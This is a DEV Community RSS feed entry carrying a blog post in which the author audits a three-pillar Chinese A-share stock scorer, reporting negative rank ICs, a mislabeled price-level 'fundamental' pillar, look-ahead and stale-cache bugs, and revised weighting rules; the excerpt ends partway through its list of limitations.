<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Felixwang007</title>
    <description>The latest articles on DEV Community by Felixwang007 (@felixwang007).</description>
    <link>https://dev.to/felixwang007</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4050246%2F367055f4-756f-41a0-96f9-b2b5447699ae.png</url>
      <title>DEV Community: Felixwang007</title>
      <link>https://dev.to/felixwang007</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/felixwang007"/>
    <language>en</language>
    <item>
      <title>My 'Three-Pillar' Stock Scorer Had a Negative IC. The Only Pillar That Worked Was Mislabeled.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 12 Nov 2026 11:45:31 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-three-pillar-stock-scorer-had-a-negative-ic-the-only-pillar-that-worked-was-mislabeled-58eg</link>
      <guid>https://dev.to/felixwang007/my-three-pillar-stock-scorer-had-a-negative-ic-the-only-pillar-that-worked-was-mislabeled-58eg</guid>
      <description>&lt;p&gt;I built a Chinese A-share stock scorer last year with a clean story: &lt;strong&gt;three independent pillars&lt;/strong&gt; — technical (24 indicators), "intel" (volume/price behavior), and "fundamental" (valuation). Sum the three scores, rank the universe, buy the top 50.&lt;/p&gt;

&lt;p&gt;On 2026-11-12 it printed this top five: 沪农商行, 华能国际, 济川药业, 张江高科, 永臻股份. A regional bank, a utility, a pharma, a property park, and a solar-frame maker. Plausible-looking output. So I did the thing I should have done a year ago: I measured whether the score predicts anything.&lt;/p&gt;

&lt;p&gt;It doesn't. Two of the three pillars have &lt;em&gt;negative&lt;/em&gt; information coefficient. The one pillar with a positive IC is the one whose name is a lie.&lt;/p&gt;

&lt;p&gt;Here's the audit, the numbers, and the three rules I now ship instead.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Universe:&lt;/strong&gt; 587 Shanghai/Shenzhen stocks from my own scanner cache, 180 forward-adjusted (qfq) daily bars each, pulled from Tencent's kline endpoint in 14 seconds with 8 threads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; for each of the last 70 rebalance dates (2026-07-23 → 2026-11-05), compute all three pillar scores for every stock using only data available up to that day, then measure each pillar's &lt;strong&gt;cross-sectional Spearman correlation with the next 5-day return&lt;/strong&gt; (rank IC).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sample:&lt;/strong&gt; 70 dates × 587 stocks = &lt;strong&gt;41,090 stock-day observations&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Benchmark:&lt;/strong&gt; the average 5-day forward return across the whole sample was &lt;strong&gt;−0.175%&lt;/strong&gt;. That number matters for reading the decile table later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Crucially, I did not rewrite the scorer for the audit. I imported &lt;code&gt;tech_analysis()&lt;/code&gt; and &lt;code&gt;intel_score()&lt;/code&gt; from the shipped module and fed them sliding windows, so the thing being measured is the thing that runs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;three_pillar_v2&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tech_analysis&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;intel_score&lt;/span&gt;   &lt;span class="c1"&gt;# the real implementation&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;slice_d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d_full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# sliding window, no future data&lt;/span&gt;
    &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;tech_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;intel_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fund_score_as_implemented&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price_today&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d_full&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'close'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;fwd&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d_full&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'close'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;d_full&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'close'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;per_date&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;d_full&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'date'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'t'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'i'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'f'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'fwd'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fwd&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Result: the signs are wrong
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pillar&lt;/th&gt;
&lt;th&gt;Mean IC&lt;/th&gt;
&lt;th&gt;t-stat&lt;/th&gt;
&lt;th&gt;IR&lt;/th&gt;
&lt;th&gt;Dates with IC &amp;gt; 0&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Technical (24 indicators)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.0479&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−2.72&lt;/td&gt;
&lt;td&gt;−0.33&lt;/td&gt;
&lt;td&gt;27.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intel (volume/price)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.0552&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−3.31&lt;/td&gt;
&lt;td&gt;−0.40&lt;/td&gt;
&lt;td&gt;32.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"Fundamental"&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.0598&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+2.12&lt;/td&gt;
&lt;td&gt;+0.25&lt;/td&gt;
&lt;td&gt;64.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Composite (as shipped)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.0402&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−2.11&lt;/td&gt;
&lt;td&gt;−0.25&lt;/td&gt;
&lt;td&gt;32.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Read the last row first: the composite score, the thing I actually used to make decisions, has a &lt;strong&gt;negative&lt;/strong&gt; rank IC that is significant at t = −2.11. In this sample, higher score meant &lt;em&gt;lower&lt;/em&gt; next-5-day return. The technical pillar produced a positive IC on only 19 of 70 dates.&lt;/p&gt;

&lt;p&gt;This isn't a subtle "signal is weak" result. A weak signal centres on zero and gets lost in noise. This one centres on the wrong side of zero, and the t-stat is large enough that "it's just noise" is the less likely explanation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The decile table is the part that stings
&lt;/h2&gt;

&lt;p&gt;Ten equal buckets by composite score, each with 4,109 observations:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Decile&lt;/th&gt;
&lt;th&gt;Score range&lt;/th&gt;
&lt;th&gt;Mean 5-day return&lt;/th&gt;
&lt;th&gt;Win rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;D1 (worst score)&lt;/td&gt;
&lt;td&gt;−8 … 1&lt;/td&gt;
&lt;td&gt;−0.089%&lt;/td&gt;
&lt;td&gt;45.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D2&lt;/td&gt;
&lt;td&gt;1 … 3&lt;/td&gt;
&lt;td&gt;+0.145%&lt;/td&gt;
&lt;td&gt;48.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D3&lt;/td&gt;
&lt;td&gt;3 … 4&lt;/td&gt;
&lt;td&gt;+0.146%&lt;/td&gt;
&lt;td&gt;49.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D4&lt;/td&gt;
&lt;td&gt;4 … 5&lt;/td&gt;
&lt;td&gt;−0.040%&lt;/td&gt;
&lt;td&gt;45.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D5&lt;/td&gt;
&lt;td&gt;5 … 6&lt;/td&gt;
&lt;td&gt;−0.175%&lt;/td&gt;
&lt;td&gt;45.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D6&lt;/td&gt;
&lt;td&gt;6 … 7&lt;/td&gt;
&lt;td&gt;−0.243%&lt;/td&gt;
&lt;td&gt;44.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D7&lt;/td&gt;
&lt;td&gt;7 … 8&lt;/td&gt;
&lt;td&gt;−0.035%&lt;/td&gt;
&lt;td&gt;44.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D8&lt;/td&gt;
&lt;td&gt;8 … 9&lt;/td&gt;
&lt;td&gt;−0.447%&lt;/td&gt;
&lt;td&gt;42.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D9&lt;/td&gt;
&lt;td&gt;9 … 11&lt;/td&gt;
&lt;td&gt;−0.291%&lt;/td&gt;
&lt;td&gt;42.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;D10 (best score)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;11 … 24&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.717%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;39.9%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;D10 − D1 spread = &lt;strong&gt;−0.628 percentage points&lt;/strong&gt;. Top three deciles minus bottom three = &lt;strong&gt;−0.552 pp&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Two honest caveats on this table. It is &lt;strong&gt;not monotone&lt;/strong&gt; — D2 and D3 are the best buckets, and D7 sits oddly above D6. And every bucket is negative in absolute terms because the universe fell over this window. What the table does support is narrower and still damning: &lt;em&gt;the highest-scoring stocks underperformed the universe average by 0.54 pp over five days, and won less often (39.9% vs 45.9%).&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 2: the pillars were independent, and that made it worse
&lt;/h2&gt;

&lt;p&gt;My original reasoning for "three pillars" was that independent evidence should be weighted together. So — are they independent?&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pair&lt;/th&gt;
&lt;th&gt;Mean daily cross-sectional correlation&lt;/th&gt;
&lt;th&gt;Top-50 overlap&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;technical ↔ intel&lt;/td&gt;
&lt;td&gt;+0.136&lt;/td&gt;
&lt;td&gt;24%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;technical ↔ "fundamental"&lt;/td&gt;
&lt;td&gt;+0.020&lt;/td&gt;
&lt;td&gt;10%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;intel ↔ "fundamental"&lt;/td&gt;
&lt;td&gt;−0.033&lt;/td&gt;
&lt;td&gt;11%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;They are nearly orthogonal. The overlap between the technical top-50 and the "fundamental" top-50 is &lt;strong&gt;about 5 stocks&lt;/strong&gt;. So my independence assumption was correct — and it's exactly what made the composite bad. Averaging three nearly independent votes is a variance-reduction technique. It does not fix signs. Two confidently wrong, uncorrelated votes plus one right vote gives you a confidently wrong average with a tighter confidence interval.&lt;/p&gt;

&lt;p&gt;That's the design lesson I keep re-learning from both agent systems and factor models: &lt;strong&gt;independence buys you variance reduction, it does not buy you validity.&lt;/strong&gt; You must measure the sign of each vote before you let it into the sum. And a composite's IC is not the average of its components' ICs when their scales differ — mine sums raw points where, on today's cross-section, the technical channel ranges −4…+12 (17 distinct values) while "fundamental" ranges 0…3 (4 distinct values), so the composite is mostly the technical pillar wearing a trench coat.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 3: the only pillar that worked isn't fundamentals
&lt;/h2&gt;

&lt;p&gt;Here is the entire "fundamental" scoring function as shipped:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fund_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;      &lt;span class="c1"&gt;# cheap-looking price&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;closes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;vol&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;stdev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;closes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;closes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;vol&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;  &lt;span class="c1"&gt;# "moderate volatility"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No P/E, no P/B, no ROE, no revenue, no debt. The &lt;code&gt;fundamentals&lt;/code&gt; dict in my cache holds &lt;strong&gt;zero entries&lt;/strong&gt;. What the pillar actually encodes is &lt;em&gt;absolute share price level plus recent volatility&lt;/em&gt;. Its score takes exactly four distinct values {0, 1, 2, 3}, so it isn't even a real ranking — it's a coarse bucket.&lt;/p&gt;

&lt;p&gt;And it's the only positive one. Which raises the obvious objection: &lt;strong&gt;look-ahead bias.&lt;/strong&gt; The shipped function reads today's price from the live cache even when scoring a historical date, so a stock that fell below ¥30 gets ±2 points applied to its entire past. That's a genuine bug. So I re-ran it point-in-time, using the close on the evaluation date:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variant&lt;/th&gt;
&lt;th&gt;Mean IC&lt;/th&gt;
&lt;th&gt;t-stat&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;As shipped (today's price)&lt;/td&gt;
&lt;td&gt;+0.0598&lt;/td&gt;
&lt;td&gt;+2.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Point-in-time price&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.0674&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+2.48&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The look-ahead bug was &lt;em&gt;hurting&lt;/em&gt; it, not helping. The cheap-and-quiet-stock effect is real in this sample, survives the fix, and is the only thing in my three-pillar story that isn't noise or inverted.&lt;/p&gt;

&lt;p&gt;Stability check across the two halves of the window:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pillar&lt;/th&gt;
&lt;th&gt;2026-07-23 → 09-09&lt;/th&gt;
&lt;th&gt;2026-09-10 → 11-05&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Technical&lt;/td&gt;
&lt;td&gt;−0.073 (t=−2.57)&lt;/td&gt;
&lt;td&gt;−0.023 (t=−1.12)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intel&lt;/td&gt;
&lt;td&gt;−0.035 (t=−1.72)&lt;/td&gt;
&lt;td&gt;−0.075 (t=−2.87)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"Fundamental"&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;+0.0597&lt;/strong&gt; (t=1.48)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;+0.060&lt;/strong&gt; (t=1.51)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Composite&lt;/td&gt;
&lt;td&gt;−0.056 (t=−1.84)&lt;/td&gt;
&lt;td&gt;−0.025 (t=−1.06)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The price-level pillar is the only one whose magnitude is stable across halves (+0.0597 and +0.0600 — a coincidence, but a useful one). Neither half alone clears |t| &amp;gt; 2, which is exactly why pooling 70 dates matters and why I refuse to call this "validated." Monthly, it is positive in four of five months and −0.22 in November, which had only 4 evaluation dates.&lt;/p&gt;

&lt;p&gt;The technical pillar, by the way, flips monthly: +0.007 (Jul), −0.116 (Aug), −0.083 (Sep), +0.043 (Oct), +0.011 (Nov). It is not simply tracking market direction either — August was an up month and October was a down month, and the IC signs are the reverse of what a naive "momentum works in uptrends" story would predict. Five monthly observations cannot settle that question. I'm not going to pretend they do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding 4: a pillar that emits zeros isn't a pillar
&lt;/h2&gt;

&lt;p&gt;On today's cross-section, the intel pillar assigns &lt;strong&gt;exactly 0 to 52.6% of the universe&lt;/strong&gt; and has only 11 distinct values. A scoring channel that abstains on half the sample is not ranking; it's a sparse flag that occasionally fires. Same for "fundamental": 4 distinct values, 9.4% zeros.&lt;/p&gt;

&lt;p&gt;If a component can't produce a spread, it contributes variance without information. Before adding a pillar, the cheapest useful test is: &lt;em&gt;how many distinct values does it emit, and what share is zero?&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The stale-cache bug I found on the way
&lt;/h2&gt;

&lt;p&gt;While loading data I noticed my cache claims &lt;strong&gt;587 stocks&lt;/strong&gt;, but only &lt;strong&gt;21&lt;/strong&gt; had a bar dated 2026-11-12. The other &lt;strong&gt;563 had their last bar on 2026-07-16&lt;/strong&gt; — 558 of them holding only 33 bars each, frozen for four months.&lt;/p&gt;

&lt;p&gt;The scanner never checks this. It builds "today's top 10" by iterating every symbol it knows, scoring whatever &lt;code&gt;[-1]&lt;/code&gt; happens to be. So a freshly-published ranking can contain stocks whose most recent data is a four-month-old close, with nothing in the output indicating it. That's the same failure class I've written about before: &lt;strong&gt;the pipeline reports success because it computed a number, not because it looked at a current one.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My fix is one assertion before any ranking ships:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nb"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'date'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;market_date&lt;/span&gt;
           &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;universe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"stale rows in universe"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it fires, you get an error, not a ranking. A silent 96% staleness rate is worse than a crash.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I ship now instead of a three-pillar sum
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Every pillar must publish its IC and window before it can vote.&lt;/strong&gt; No IC, no weight — even if the pillar sounds sophisticated. "24 indicators" is not evidence; −0.0479 with t = −2.72 is evidence, and it says don't use it as a positive signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weight by sign as well as strength, and only when the sign holds in both halves.&lt;/strong&gt; In this audit only one pillar qualifies, so the current weighting isn't "three pillars averaged" — it's one factor at a measured weight, with the other two demoted to &lt;em&gt;veto&lt;/em&gt; roles (they can flag a name for review; they can no longer add points to a buy list).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Score scale must be normalised per pillar (z-score or percentile) before summation.&lt;/strong&gt; Raw point-sums let whichever pillar has the widest range silently become the whole model. Mine let a ±15-point technical pillar dominate a ±3-point valuation one.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And one thing I deliberately did &lt;strong&gt;not&lt;/strong&gt; do: invert the technical pillar and start trading its bottom decile. A negative IC measured on 70 dates of a falling tape is a hypothesis about a regime, not a strategy. My previous work on this market found that oversold-rebound setups did show a positive edge over a 640-day sample, which makes it quite likely that this window's negative technical IC is a regime artifact rather than a permanent property. Reversing a signal because it lost money for four months is how backtests get curve-fitted into ruin.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limits of this audit, stated plainly
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;70 rebalance dates, ~3.5 months, one market, one falling regime. Not a cycle.&lt;/li&gt;
